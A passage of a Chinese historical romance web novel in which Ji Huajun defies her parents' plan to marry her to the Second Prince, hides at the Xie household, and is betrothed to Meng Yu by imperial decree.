纪恺当年,还是跟在父亲纪老将军身边的少将军,他不是在身先士卒,带着部下冲锋陷阵,就是在巡防城墙,准备明天的战事。
打仗纪家军擅长,难的是均需粮草。
实在没有办法,只能变卖纪家的家产,筹措粮草伤药,把仗打下去。
最缺钱的时候,连纪恺的夫人方若莹,都主动拿出了自己的嫁妆,全部换成了粮草。
当朝廷稳定下来,派人到南境来时,已经是两年后。
庆明帝为嘉奖纪家忠勇,镇守南境安宁,封纪老将军为永宁侯,并在京城赐下宅邸。
纪老将军在南境待惯了,不愿去京城。
庆明帝便给纪恺封了个兵部郎中的官职,让他入京做官。
纪家人看得明白,这是庆明帝对纪家的嘉奖,也是对纪家的防备。
那时的京城,还不安定,纪恺带着妻子方若莹,踏上了回京的路,将一双儿女纪华笙、纪华筠,留在南边的纪家老宅,托纪老将军照顾。
九年后,纪老将军去世后,葬在纪家祖坟。
纪恺作为嫡长子,袭爵为永宁侯。
办完纪老将军的葬礼,纪恺夫妇带着十三岁的儿子纪华笙,和十岁的女儿纪华筠,离开了纪家老宅,回到京城生活。
纪华笙不习惯京城的奢靡豪华,不喜欢在书院读那些之乎者也的书,和京中世家子弟更说不到一处去。
一年后,他趁着去书院的机会,偷偷骑马离开了京城。
等到永宁侯发现儿子不见时,纪华笙已经快到南境纪家军营了。
永宁侯派人去接纪华笙回京城,全都被纪华笙打了出去,他打定了主意,要留在纪家军中,不愿再回京城。
永宁侯夫妇拿这个已经长大的儿子没办法,只能将更多心思,花在年纪更小的女儿纪华筠身上。
为了不让纪华筠,走上她那个倔强兄长的老路,永宁侯夫人对纪华筠,几乎严苛地教导礼仪规矩。
她想要这个女儿,成为京中最出众的贵女,获得所有人的尊重,将来找个贵婿成婚生子,一辈子雍容尊贵地过下去。
二皇子,就是永宁侯选中的贵婿。
永宁侯府的权势,看似花团锦簇,实则烈火烹油,站在这个位置上,即使不想参与夺嫡之争,也会有势力,要把他们卷进去。
永宁侯选择把握先机,与曹家达成同盟,纪华筠嫁给二皇子,以后就是皇后。
然而,纪华筠从来都不认同她爹娘的选择。
“爹,娘,我这次回来,不是回家嫁人的,而是来和你们摊牌的。”
第277章 她受够了!
纪华筠看看怒视她的父亲,又看看错愕不已的母亲,呼出一口浊气。
她本不想回家第一天,就和爹娘吵架,甚至动手。
她也想好好和久别重逢的爹娘,好好吃顿饭。
但她的爹娘,这些年过得太顺,被周围人捧得太高,已经被权势蒙蔽了双眼,一心想着更进一步,不遗余力地要把她这个女儿推入火坑。
纪华筠从来不是任人拿捏的小姑娘,就算是亲生父母,也不行!
她压抑着自己的天性,做了爹娘七年的乖女儿,已经够给他们面子了,早知如此,她六年前就该和兄长一起逃离京城。
但现在,事已至此,她不能眼睁睁地看着,爹娘将纪家拖入夺嫡的泥潭,她必须要让他们清醒过来。
“爹,娘,你们为纪家未来谋算,为女儿前程计划,我都能理解,但我不赞同,你们参与夺嫡之争,还要我以身入局。
我们纪家,是武将之家,纪家的名声,是靠镇守南境的世代纪家军打出来的,不是靠阴谋诡计算出来的。
我们完全可以像十六年前一样,远离纷争,保持中立,为什么非要搅进夺嫡的浑水中呢?”
永宁侯眉头紧锁,压抑着怒火道:
“现在不入局,以后二皇子登基,我们永宁侯府就会被冷落,被清算,时不我待,你连这点道理都不懂?”
“爹,您如何确定,以后登基的,就一定是二皇子?”
纪华筠急切地反驳,觉得她爹已经魔怔了。
“如果最后坐上那个位置的,是其他皇子呢?您领着纪家全族,站错了队,选错了人,日后被新皇清算,您就是纪家最大的罪人!”
“不可能!”
永宁侯厉声怒喝,脱口而出道。
“曹家三朝元老,出过一个皇后一个太后,在朝中根基深厚,二皇子是曹氏血脉,曹太后和曹尚书,皆为他的后盾,还有哪个皇子,能越过他去?”
纪华筠冷笑,“如果陛下真想要传位给二皇子,这些年就不会在朝堂上扶持吴家上位,后宫中的吴贵妃,也不会一直压淑妃一头,就连前段时间刑部查吏部贪腐案,没有陛下点头,刑部怎么敢查?”
永宁侯眉头皱得更紧,这些事他自然也知晓,但对三朝元老曹家的崇敬,让他下意识忽略了这些与他选择相悖的消息。
“那是陛下为了平衡朝堂后宫势力,使用的一点小手段,但吴家,以前不过是西市开银楼的商户,他们如何能与曹家抗衡?”
永宁侯坚定自己的选择没有错。
纪家到他这一代,才得以入京封侯,而曹家,是在京城扎根百年的世家,近三代都与皇家关系紧密,其政治势力与手段,都令永宁侯望其项背,崇拜不已。
纪华筠反唇相讥:“陛下又不是只有二皇子和三皇子两个儿子,他还可以再生更多儿子,你为什么非要在二皇子一棵树上吊死?”
“华筠,注意你的言辞!”
永宁侯夫人走过来,隔开争执不休的父女俩,对纪华筠训斥道:
“朝堂大事,不是我们妇道人家可以议论的,华筠,你别再说了。”
纪华筠要被她娘的话给气笑了。
“娘,您一边逼我去争二皇子正妃的位置,一边又让我不要议论朝堂大事,在你们眼中,我就该是你们的提线木偶,想往哪儿放,就往哪儿放呗?”
纪华筠脸上扬着冷笑,眼底透着深深的悲哀。
“可是,我是你们的女儿啊!不是没有思想、随意摆弄的棋子!你们要控制我的人生,还不让我反驳说话了?”
永宁侯夫人拉起女儿的手,柔声劝解:
“华筠,你听话,为娘不是那个意思。”
“听话!听话!你们总是让我听话!我早就受够了!再也不要听你们的话了!”
纪华筠一把甩开永宁侯夫人的手,怒不可遏地吼道。
“自从来到京城,我没有一日是高兴的,你们根本不管我喜欢什么,想做什么,只会拿京城那套规矩,往我身上套。
娘,您为我重金准备的衣裳很美,璀璨夺目的珠宝首饰也很漂亮,但我不喜欢!
因为,只要将它们穿戴在身上,就意味着,我只能规规矩矩地做永宁侯府嫡女。
笑不能露齿,说话不能大声,走路不能大步,就连我最喜欢的武功,你们也不让我练,你们快把我逼疯了!”
纪华筠愤怒的目光一转,对准也在注视她的永宁侯。
“爹,您也是一样在逼我!
我知道,您想要我们纪家越来越好,您想要光宗耀祖,想要有一天,我们纪家血脉的孩子登临大位……
您想得很美,但陛下他也不是傻子!
您信不信,只要我嫁给二皇子,纪家的兵权,就别想保留,您兵部尚书的位置也保不住……”
“住口!”永宁侯厉声打断她的话,“你胡说什么!陛下信任纪家……”
“那是您的野心暴露之前!陛下看在纪家先辈世代忠良的份上,自然信任纪家。”
纪华筠也打断永宁侯的话,声音凌厉地指责。
“纪家一旦与二皇子结亲,谁都能看出来您想做什么,陛下还会一如既往地信任纪家吗?他会放心把南境兵权,交给皇子的岳父吗?”
纪华筠指着祠堂中的祖先牌位,对着永宁侯质问。
“到时候,纪家先辈打下来的兵权,在您手上失去,您对得起我们纪家的列祖列宗吗?”
永宁侯顺着纪华筠手指的方向,看向祖先们的牌位,心中蓦然涌起两分惶恐。
他回过头,对着纪华筠,色厉内荏地训斥:
“混账!我是你爹,你敢这样教训我?”
永宁侯火冒三丈,抬起手,冲纪华筠打来。
纪华筠脚下生风,灵巧地躲过永宁侯的巴掌,快速移动到门边,对永宁侯放话:
“看在您是我爹的份上,女儿再告诉您一件事,如果您执意要把我嫁给二皇子,那么,女儿的婚期,就是二皇子的死期!”
“你敢!”
永宁侯气得眼眶发红,目眦欲裂。
“这么大逆不道的话,你也敢说!”
纪华筠眼一横,继续威胁:
“我不但敢说,逼急了,我也敢做!
您知道的,凭女儿的力气,捏碎他的脖子,不过须臾的功夫,到时候,咱们全家一起死!”
说完,纪华筠拉开门,向外跑去。
她运起轻功,飞上屋檐,眨眼的功夫,就不见了踪影……
第278章 突然上门
谢府中,正和父兄一起用晚膳的孟蕊,疲惫地打了个哈欠。
她实在是太累了,为了在今日赶回京城,按计划救下许南音,孟蕊近两日一共只睡了不到三个时辰。
孟瑾眼神心疼,“蕊儿,你其实不必着急赶回来,我们的人一直关注着许小姐,你们不回京,也会有人救她。”
“可那样的效果,不会有华筠姐姐出面更好。”
孟蕊当然知道大哥安排妥当,但没有亲眼看见,她总归是担心许南音。
“而且华筠姐姐非常热心,听到要她帮忙,跑得比我都快。”
孟蕊别有深意地瞄了一眼二哥孟瑜。
“华筠姐姐还说,京城某个人信中说想见她,她自是要马不停蹄地赶回来啦。”
“我没和她说过那种话。”孟瑜不打自招,尴尬地解释,“我是怕她在外面胡来,惹是生非,劝她早些回京而已。”
“是吗?早些回京,不也可以见到在京城的人?”
说到纪华筠和孟瑜的事,孟蕊可就不困了,她打起精神问。
“二哥,你和华筠姐姐是不是很早就认识了,她说你小时候和现在一样犟得很,还扯坏了她的小风车,你是在南境认识小时候的华筠姐姐的?”
孟瑜不自在地抿了抿唇,“她没和你说?”
“华筠姐姐只提过几句,具体的她不肯说清楚。”
孟蕊期待地望着孟瑜,带着几分揶揄道。
“这种两小无猜的情谊,华筠姐姐大概不好意思说吧?二哥,你和我们讲讲呗。”
孟瑜眸光忽暗,转头看向正张着耳朵听的谢清源一眼,沉声道:
“不是南境,我和她,是在京城认识的。”
“京城?”孟蕊听糊涂了,“你们什么时候在京城……”
饭厅外急促的脚步声,打断了孟蕊的话。
李管家脚步匆匆跑进来,“老爷,不好了,永宁侯来了!”
“天都黑了,他来做什么?”
谢清源放下碗筷,奇怪地问。
“来就来了,阿忠你又急什么?”
“不是啊,老爷,永宁侯那样子凶得很,活像咱们欠他百八十万银子似的,可吓人了!”
李管家夸张得学着永宁侯的表情,皱眉瞪眼地说。
“他现在就在大门外,还带着好些侍卫,说要见老爷你,还有小姐。”
“永宁侯要见我?”孟蕊疑惑地指了指自己,“为什么呀?”
李管家摇头,“我不知道,不过我们派去盯着永宁侯府的人回报说,永宁侯府今天下午闹得鸡飞狗跳的,好像是在找人。”
“找人?”孟瑜霍地站起来,“难道是纪华筠又跑了?”
孟蕊也跟着站起身,对谢清源说:“爹爹,如果事关华筠姐姐,我们得快些出去问清楚。”
谢清源摩挲着下巴想了想,对李管家吩咐道:
“阿忠,你去把永宁侯请到正厅,那些侍卫不许放进来,我们这就过去。”
——
谢府正厅,谢清源扬着客气的笑脸,向着浑身笼罩着怒气的永宁侯迎上去。
“纪侯爷,你怎么这时候来了?用晚膳了吗?要不我摆上一桌,咱们哥俩喝点儿?”
“喝酒?本候现在没那心思!”
永宁侯怒气冲冲地说。
“谢大人,我问你,我女儿有没有来你们府上?”
永宁侯锐利的目光锁定孟蕊。
“县主,华筠有来找你吗?”
孟蕊与谢清源对视一眼,诚实答道:
“纪侯爷,自今日下午在刑部与纪小姐分别后,我没再见过纪小姐,她也没有来找过我,更不在我们府中。”
永宁侯审视地紧盯孟蕊,“你确定?你没再见过华筠?”
“我确定。”
孟蕊坦荡地任由他打量,不禁询问。
“纪侯爷,敢问纪小姐是出什么事了?”
“她跑了!”永宁侯脸色铁青。
“跑了?”谢清源好奇地问,“纪小姐不是回侯府了?怎么会跑呢?”
“为什么会跑?”
永宁侯一想到纪华筠飞檐走壁逃跑时的场景,就忍不住火冒三丈。
“谢大人,那就要问问你的好夫人,都教了我女儿些什么!”
看到纪华筠翻墙逃跑的第一时间,永宁侯就命令侯府侍卫去抓纪华筠。
但纪华筠的轻功太厉害了,别说侯府侍卫,就是后来永宁侯亲自上阵,也没能追上纪华筠的步伐,眼睁睁看着纪华筠跑远,直到消失不见……
纪华筠的武功是纪老将军启蒙,回到京城后,永宁侯偶尔会指点纪华筠练武,后来有了纪华筠打二皇子的事,永宁侯不再指点。
对女儿纪华筠往日的武功水平,永宁侯心知肚明。
但今日,纪华筠的轻功,强到令永宁侯惊诧。
这半年来,纪华筠跟谁在一起,谁又能教她如此厉害的轻功,显而易见。
谢清源揣着明白装糊涂,“这关我夫人何事?她今日又没回京,你可别冤枉她!”
“她……”永宁侯猛地瞪向谢清源,想要说孟天把纪华筠的武功教得太厉害,让自己和侍卫都抓不住。
但话到嘴边,又硬生生咽了下去。
永宁侯的轻功,追不上女儿纪华筠,这若是传出去,他颜面何存?
“我女儿真没来找你们?”永宁侯最后又问了一遍,“你们可知她逃去了哪里?”
孟蕊再次否认,“不知道,纪小姐确实不在这里。”
“纪侯爷,不是我说,纪小姐是你从小养大的女儿,你这话说的,像是抓逃犯似的。”
弄清楚情况的谢清源,对突然上门问责的永宁侯,表露出几分不满。
“这女儿啊,是父亲的小棉袄,我看纪小姐是个聪慧通透的孩子,你对她好点儿,她至于逃跑吗?”
永宁侯被谢清源的话扎了心,冷声道了句告辞,转身就离开了谢府。
谢清源无所谓地耸耸肩,嘱咐孟蕊早些回去休息,剩余的事他来处理。
孟蕊和父亲道别,独自走向自己的院子。
快走到自己的栖霞阁时,孟蕊看到翠柳推开院门出来,手上提着一个沉甸甸的食盒,匆匆向东边走去。
孟蕊本想叫住翠柳,心头却忽然浮起一个念头。
这么晚了,翠柳一个人偷偷出门,是要去见什么人?
该不会是……情郎?
孟蕊对翠柳,始终带着几分护犊子的心态,鬼使神差地悄悄跟了上去。
翠柳最终走进了翠微苑。
孟蕊站在翠微苑门口,犹豫着是否要进去,她记得,这个院子风景不错,但没有住人。
就在此时,院中传来女子嬉笑的声音。
那声音,十分耳熟。
孟蕊神情一凛,运起轻功,飞入翠微苑,推开房门。
果然看到了,坐在桌边,吃得正欢的纪华筠……
第279章 浪迹天涯
四目相对,孟蕊不可置信地问:
“华筠姐姐,你怎么会在我家?”
她刚刚还和永宁侯信誓旦旦地保证,纪华筠一定不在他们府上,现在就在府中,看到了活生生的纪华筠!
纪华筠正狼吞虎咽地吃着鸡腿,看到孟蕊,她双眼放光,冲孟蕊挥了挥油腻腻的手,开心地打招呼,只是嘴里塞得鼓鼓的,分不出说话的功夫。
她面前的桌子上,摆着一盘糕点,一只烧鸡,一壶茶,还有翠柳拎来的食盒,可见这些吃食,都是翠柳带来的。
孟蕊顺着食盒,看向心虚低头的翠柳。
“翠柳,你知道她是谁吗?就给她带吃食?”
“知道的……”翠柳抬起头,看向孟蕊,“李管家说,这位纪小姐是以后的二少夫人,要我好生招待着。”
“什么?”孟蕊懵了,这里头还有李管家的事呢?
一旁吃鸡的纪华筠,终于咽下了口中的鸡肉,给了翠柳一个赞赏的眼神。
“翠柳真会说话,我喜欢,以后要不要跟着我混啊?”
孟蕊一听,立刻把翠柳拉到自己身后,挡住纪华筠看向翠柳的目光。
“你到底怎么回事?下午你不是回家了吗?”
“回家失败,我又跑出来了。”
纪华筠无所谓地说着,拿起一块糕点,又开始吃。
“哇!这是什么点心,好好吃哦!我从来没吃过这么好吃的点心!”
“是我做的冰糖糕。”孟蕊身后的翠柳探出小脑袋,“真有那么好吃吗?”
“好吃好吃,真是太美味了!”纪华筠不吝夸赞,吃完一块,又拿一块。
孟蕊等到她将两块冰糖糕全都吃完,忍无可忍地问:
“刚刚你爹四处找你,还跑来我们府上,找我们要人,你为何会在我们府里?”
纪华筠喝下一口茶水,不答反问:“你们怎么回答我爹的?”
“当然说你不在啊。”孟蕊道,“我当时又不知道你在这儿。”
“那不就得了,我爹找不到我最好。”
纪华筠轻松回应,伸手掰下另一只鸡腿,开始津津有味地吃起来。
孟蕊看着她发愁,以永宁侯那副凶恶煞找人的样子,纪华筠肯定做了什么激怒他的事。
而现在,纪华筠居然就在谢府,要是被永宁侯发现他们藏匿纪华筠,两家会不会因此交恶?
“姑娘,事情很严重吗?”
翠柳扯了扯孟蕊的衣袖,小声问。
“这位小姐是李管家带回来的,她的家人是在找她吗?”
又是李管家?
孟蕊想到晚膳时,李管家跑进饭厅禀报永宁侯来时,激动地喊着“不好了”。
所以,李管家早就知道纪华筠在谢府,甚至人还是他带回来的。
“李管家现在何处?”
孟蕊正想要去找李管家问个清楚,就听见院门外传来对话声。
“二少爷,这边请。”是李管家的声音。
紧接着,是孟瑜怀疑的声音。
“你说有人要见我,究竟是何人?又为何要在夜里偷偷摸摸来见?”
“哎呀,二少爷,我都是为了你们好啊,等你见到人了,还要感谢我呢!”
说话间,李管家敲响了院门。
孟蕊看了翠柳一眼,翠柳会意,走去开门。
院门打开,李管家和孟瑜走了进来。
“阿瑜!”
纪华筠放下手中鸡腿,一跃而起,冲着院子里的孟瑜,就飞奔而去。
孟瑜看到纪华筠的一瞬间,惊讶地睁大了眼,脚步顿住。
“你怎么会……”
一句话还没说完,纪华筠就扑到了孟瑜身上,搂着他的脖子问:
“阿瑜,你愿意和我一起浪迹天涯吗?”
孟瑜愣在原地,一双手僵在空中,虚虚托住纪华筠的腰,又碍于男女大防,没有触碰到她的衣裳。
屋子里的孟蕊,都看呆了,纪华筠这动作,会不会太奔放了?
站在孟瑜和纪华筠旁边的李管家,看到这一幕,露出欣慰感动的笑。
李管家身边的翠柳,看着抱在一起的两人,小脸害羞得微红,侧过头去,又忍不住回头,一看再看。
“你……你说什么?”
许久,孟瑜才找回自己的声音。
“浪迹江湖……你和我吗?”
“对呀,就我们俩,你愿意吗?”纪华筠大胆地直视孟瑜,期待地问。
可疑的红云爬上孟瑜小麦色的皮肤,他浑身僵硬,面色茫然,一双坚毅的双眼却异常明亮,看着纪华筠美丽的眸子,他故作镇定道:
“你才刚回京,为何又要离开?”
“阿瑜,我好惨的!”
纪华筠将孟瑜搂得更紧,撒娇般向着孟瑜诉苦。
“我爹娘要逼我嫁给一个纨绔色坯!我不愿意,好不容易才逃了出来。”
李管家在旁边附和:
“是啊,二少爷,纪小姐太不容易了,她被永宁侯府侍卫穷追不舍,我恰好在街上遇到,帮助她躲藏,带回府中,不然,她要是被抓走,你就再也见不到她了!”
翠柳也深表同情:
“怎么会有那样无情的爹娘?逼着女儿嫁给坏人,他们的良心不痛吗?”
孟蕊此时也走到院中,听到李管家和翠柳的话,眼皮跳了跳。
她想到纪华筠曾经说过,永宁侯夫妇想要纪华筠当二皇子妃的事,那纪华筠口中的纨绔色坯,是二皇子?
抱着孟瑜脖子的纪华筠,继续可怜兮兮地诉苦:
“阿瑜,我爹娘利欲熏心,已经不顾骨肉亲情了,他们不会放过我的,我不能再留在京城,我唯一舍不得的就是你,你愿意和我一起走吗?”
孟蕊看向他们,静静观察。
她觉得,二哥对纪华筠的态度,一直都比较疏离淡漠,每次问他关于纪华筠的事,二哥也总是在撇清关系,而且二哥如今在羽林军中任职,不能随意离京,应是不会答应纪华筠的要求。
正当孟蕊如此想着,对自己的判断十拿九稳时,她听到孟瑜说:
“好,我们一起离开京城。”
什么?孟蕊被惊得瞠目结舌,呆呆看向认真对纪华筠许诺的孟瑜。
纪华筠猛猛点头,脸上笑意盎然,“太好了!等过两日风头过去了,咱们就一起走。”
旁边的李管家一脸慈祥,翠柳感动得眼眶含泪,都在为有情人终成眷属高兴。
突然,一道不和谐的声音从天而降。
“我不同意!你们谁都不准走!”
第280章 棒打鸳鸯?
孟蕊仰起头,望见父亲谢清源稳稳落地,不知他从哪里飞过来,也不知他听到了多少。
纪华筠看到谢清源来了,连忙松开抱住孟瑜的手,乖巧站好。
谢清源不悦的眼神,紧盯纪华筠,就要向她走过去。
李管家连忙跑过来拦住他,“老爷,你怎么来了?”
“我再不来,我儿子都要被纪家丫头拐带跑了!”
谢清源着急要去见孟瑜,推了推拦路的李管家。
“阿忠,你让开,不能让他们走!”
李管家不但不让路,还阴阳怪气道:
“老爷,二少爷有了心爱之人,是好事啊,您可不能因为自己被夫人抛弃,就见不得其他有情人好,跑来拆散二少爷的姻缘,不是慈父所为!”
“我什么时候说要拆散他们了?”
谢清源平复了一下情绪,亮明自己的态度。
“我只是不让他们离开京城,没说不让他们在一起!”
孟蕊上前解开矛盾,“李管家,你让爹爹过来,大家一起把话说清楚。”
李管家犹豫着给谢清源放了行,“老爷你不许拆散他们,否则,别怪我跟你翻脸。”
谢清源也语气不善地对李管家纠正:
“我夫人只是在忙帮中事务,暂时无暇回京,我没有被抛弃!你说话注意点!哼!”
谢清源走向孟瑜,李管家在他身后做怪脸,小声嘀咕:
“休书都被我发现了,还说没被抛弃。”
“咳咳……”孟蕊清了清嗓子,试图遮掩李管家的话。
谢清源听到声音,看向孟蕊,关心地问:
“蕊儿你不舒服吗?夜里风凉,你早些回去歇息,这里为父会解决好。”
“爹爹,我没事,外头有点冷,咱们进屋,坐着说吧。”
二哥和爹爹之间,本就有嫌隙,孟蕊可不想在这种时候离开。
孟蕊这次回来发现,二哥和爹爹之间的关系,好像并没有改善多少。
用晚膳的时候,爹爹主动和二哥说话,二哥总是淡淡地“嗯”一声,不愿多和爹爹说话,对大哥也是不怎么搭理。
孟蕊担心自己一走,这父子俩打起来事小,二哥在纪华筠的煽风点火下,两人一走了之,爹爹又要伤心难过了。
见他们都站着不动,孟蕊一边拉住纪华筠的胳膊,把她往屋里带,一边对着谢清源和孟瑜招手。
“爹爹,二哥,快点进屋啦。”
有孟蕊从中调和,院子里的人,都走进了屋,围着桌子坐下。
看到桌上摆放的白糖糕,和吃了一半的烧鸡,孟瑜皱了皱眉,问纪华筠:
“你还没用晚膳?”
纪华筠叹了口气,哀怨道:
“何止是晚膳,我今天和蕊儿妹妹为了赶路,就早上啃了两口干粮,一直支撑到刚才,才吃了一只鸡腿,你们就来了。”
“夜深了,不宜吃油腻之物。”孟瑜转头看向李管家,“劳烦管家叫人去备些清淡的食物过来。”
“是我考虑不周了,还是二少爷会疼人。”
李管家笑眯眯地应下。
“我这就去准备,稍等一会儿,马上就来。”
看到李管家离开,翠柳意识到孟蕊她们有要事谈,她继续待着不妥。
“李伯伯,我来帮你。”
翠柳也追着李管家出去了。
屋内只剩谢清源、孟瑜、孟蕊,和纪华筠四人,一时无人说话,气氛颇为尴尬。
“今日为了赶路,确实辛苦华筠姐姐了。”
孟蕊首先开口,打破了沉默。
“不过华筠姐姐,你下午申时初就从刑部离开,怎会到此时都未用膳?”
听到孟蕊的问题,纪华筠打开了话匣子。
“别提了,从刑部离开后,我们的马车先送雅娴回了赵家,然后我就想着可以回府用大餐,空着肚子高高兴兴地回去,一进门,就被我爹叫去跪祠堂!”
纪华筠说起来就生气,她那一对爹娘,总是见不得她高兴。
“我爹娘训斥了我一堆乱七八糟的,什么不该跑出去半年不回,不该去刑部为许南音作证,这些就算了,他们还要我为明年二皇子选妃做准备……”
纪华筠故意看了孟瑜一眼。
“我要嫁
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给谁,要我自己决定,反正我是不会嫁给二皇子的,一气之下,我就跑出来咯。”
孟瑜并不意外地抬眸道:“二皇子确实好色纨绔,金玉其外,败絮其中。”
“太好了,阿瑜,我们的想法都是一样的。”
纪华筠兴奋地感慨。
“这么容易看出的事,我爹怎么就看不明白呢?二皇子那种人要真当了皇帝,天下不就完了吗?”
“咳咳……”
谢清源刻意咳了两声,提醒道。
“纪小姐,这话你和我们说,不太合适吧?”
夺嫡虽一直在进行中,但永宁侯府的态度,还未摆在台面上,纪华筠就这么轻易地透露出来,谢清源不知该不该加以利用。
相对于谢清源的纠结,纪华筠显得坦荡得多。
“谢大人,我既然敢告诉你们,也是在表明我的态度。”
她收起嬉笑,脸色倏然严肃,郑重地对谢清源说。
“我不同意我们纪家涉足夺嫡之争,我亦不会成为夺嫡的棋子,这也是我兄长的意思。
两个月前,我和蕊儿妹妹一起去过南境军营,见过了我兄长,已就此事达成一致。
我爹老了,他管不了纪家军,纪家军如今在我兄长统管之下。
无论现在还是将来,纪家军都只忠于陛下,以及陛下认可的储君。”
谢清源惊讶地张大了嘴,“你和你兄长这是……”要造你爹的反?
纪华筠站起身,对着谢清源一礼。
“谢大人,此事您可放心禀告陛下。
华筠不会嫁入皇家,等过两日,我爹放松警惕,我便会离京,或浪迹江湖,或去投奔兄长,总之,不会再回京城,至于我和孟瑜……”
纪华筠不舍地看向孟瑜,又强迫自己移开视线。
“我只是来与他告别,方才不过是说几句玩笑而已,他在京中前途正好,我不会把他拐带走的,请谢大人放心。”
谢清源稍稍松了一口气,正要说话,却听见耳畔传来孟瑜低沉的声音。
“我没当是玩笑,我既答应你,就是真想和你一起走。”
第281章 互通心意
谢清源刚刚稍有松懈的一颗心,又一下子提到了嗓子眼。
“阿瑜,你在羽林军任职,深受陛下信任,怎能说走就走?”
孟瑜平静道:“羽林军的差事,做着无甚意思,我自去向辞官便是。”
“你不喜欢现在的差事,咱们可以换别的。”
谢清源眼巴巴地瞅着儿子。
“阿瑜,你说你喜欢做什么,爹去帮你想办法调职。”
孟瑜不悦地看向谢清源,“我的事,用不着你插手,我要走,你也拦不住。”
谢清源深受打击,“阿瑜,我们父子分别多年,好不容易重逢,你就不能陪为父多留在京城几年?你要是走了,为父多孤单呐!”
“你不是还有一个儿子,一直陪着你吗?”孟瑜语气冷硬,带着一丝不易被察觉的酸意。
谢清源脱口而出,“阿瑾是阿瑾,他怎么能和你一样呢?”
“我当然知道,在你眼中,他比我重要多了。”
孟瑜侧过头去,不愿再就这个话题说下去。
“我意已决,多说无益。”
眼看父亲和二哥谈话陷入僵局,孟蕊扯了扯父亲的袖子,阻止他继续劝说二哥留下。
解铃还须系铃人。
孟瑜要离开京城,是因为纪华筠邀请他一起离开。
而纪华筠要走,是由于纪华筠和她爹娘的矛盾难以调和。
孟蕊眼珠一转,看向谢清源,轻声问道:
“爹爹,您方才说过,您只是不想让二哥和华筠姐姐离开京城,其实您是同意他们在一起的,对不对?”
原本表情颓丧的谢清源,听到孟蕊的话,一下来了精神。
“对,只要阿瑜喜欢,我不反对他们在一起。”
谢清源立刻明白过来,一扫阴霾,神采奕奕地看向纪华筠。
“纪小姐,其实你也不必离开京城,你不想嫁给二皇子,那嫁给我家阿瑜,你愿意吗?”
“您说谁?谁嫁我?我、我……”
纪华筠惊讶得语无伦次,偷瞄了一眼孟瑜,发现孟瑜也在看她,羞赧地移开视线。
“我、我真没想拐带你儿子,就算我愿意,我爹娘硬要逼我嫁给二皇子怎么办?”
谢清源的目光,在纪华筠和孟瑜脸上来回看。
纪华筠明显很愿意,而孟瑜,虽然没有说话,但那眼睛,恨不得黏在纪华筠身上。
谢清源心里有了谱,大手一挥,豪迈地说:
“这你不用担心,你爹娘逼你可以,但父母之命,能大得过皇命吗?”
见孟瑜目光灼灼地看向自己,谢清源越说越激动。
“明天一早,我就进宫去求陛下,给你们赐婚,有陛下的赐婚圣旨在,别说是永宁侯、二皇子,就算是太后,也不能把你们拆散。”
用儿媳妇套住儿子,谢清源觉得,自己真是太机智了。
“你确定能请到赐婚的圣旨?”孟瑜怀疑地问。
谢清源自信拍着胸脯保证:“阿瑜你放心,只要你想娶纪家小姐,为父豁出老脸去求,陛下会同意的。”
“哎呀,你急什么?”
纪华筠嗔怪地轻捶了一下孟瑜的胳膊。
“人家还没说要嫁给你呢!”
孟瑜低下头,深深看向纪华筠,“那我们还是离开京城?”
“别呀!别动不动就说要离开京城!”
谢清源紧张地站起来,又不得不放柔语气。
“纪家姑娘,你看你,今日刚回到京城,都没休整一下,怎么总想着离开呢?”
谢清源算是看出来了,他儿子表面沉闷,实则心早就跟人家姑娘跑了。
“我们阿瑜相貌堂堂、武功高强,可是京中闺秀们看好的如意郎君。
你问问他,每天在外巡查,有多少姑娘故意朝他扔手帕的?
这半年来,又有多少媒人上门,要给他说亲的?
你要是不抓紧点,还往外头跑,我们阿瑜说不定被别的姑娘拐跑了,你后悔都来不及!”
纪华筠挑眉看向孟瑜,“京中有很多姑娘喜欢你?你收她们手帕了?”
“有,但我没收。”孟瑜直白道。
“哼!”纪华筠噘起嘴,“我打扮起来,也是有很多追求者的。”
孟蕊看到这时候还在争强好胜的纪华筠,不由扶额。
“华筠姐姐,现在不是争论这个的
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时候,你之前说,你和我二哥已经私定终身,你们难道没考虑过成婚的事?”
对于纪华筠和孟瑜成婚,孟蕊乐见其成。
孟蕊觉得,自家二哥性子太沉闷了,但在纪华筠身边,会显得生动许多。
而且,二哥都愿意跟纪华筠浪迹天涯了,对赐婚的提议也不反对,足见他对纪华筠的心意。
“私定终身?”孟瑜困惑地看向纪华筠,“我和你?”
自己撒过的慌,被孟蕊当着孟瑜的面揭穿,纪华筠尴尬不已。
“那个……我……哎呀,这不重要啦!”
纪华筠挠了挠头,瞪向孟瑜。
“我只问你,你喜不喜欢我?愿不愿意娶我?”
孟瑜脸颊泛红,深深注视着她,眸光缱绻,“我心悦于你,愿意与你成婚,白首偕老。”
“你……你说真的啊?”
纪华筠有点不喜欢孟瑜突然深情的眼神,低头嗫嚅道。
“你该不会是可怜我被爹娘逼嫁,所以想用成婚的方式帮我,其实你……”
“我是真心喜欢你的!”
孟瑜握住纪华筠的手,急不可待地解释。
“如果我不喜欢你,我不会跟你胡闹什么黑衣帮,不会跟着你去渝州,更不会跑来京城当什么羽林军……你,能明白吗?”
“我当然明白。”
纪华筠回握住孟瑜的手,心里甜滋滋的。
“原来半年前你不和我们一起走,是为了我,你怕你没有官职,我爹娘嫌弃你,不让你做他们女婿啊?”
孟瑜不自在地“嗯”了一声,低沉道:
“我想,你总是要回京城的,如果我们有未来,我不能让你为难。”
“呜……阿瑜,你真好!”
纪华筠不顾谢清源和孟蕊在场,直接扑进孟瑜怀里抱住他。
“我为了你,也可以不回京城的,我们一起浪迹江湖,也能过得很好。”
旁边内心泛酸的老父亲谢清源,及时出声阻止这个可怕的念头。
“孩子,咱们家有那个条件,我保证永宁侯不能再逼你嫁给其他人,咱就在京城成婚,别再说去浪迹江湖了,好不好?”
第282章 赐婚圣旨
第二日一早,谢清源就进了宫,直到下午才回来。
与他一同到的,除了给纪华筠和孟瑜赐婚的圣旨,还有永宁侯和永宁侯夫人。
谢府正厅,看到孟瑜身边的纪华筠,永宁侯指着谢清源没好气道:
“我就知道,定是你这个老匹夫,把我女儿藏起来了!昨晚还不承认!”
永宁侯怎么都没想到,他还没找到纪华筠,纪华筠就被赐了婚。
接到赐婚圣旨时,永宁侯都懵了。
那一刻,永宁侯想了很多,最担心的是陛下察觉了他想要站队二皇子的心思,给他女儿赐婚,是为了敲打他。
但在听到赐婚对象是谢清源的二儿子孟瑜时,永宁侯又松了一口气。
谢清源是陛下心腹,纪家和谢家结亲,意味着陛下信任纪家,定然不是敲打的意思。
可是,如此一来,少了姻亲关系,他再要站队二皇子,总是无法形成坚定的同盟。
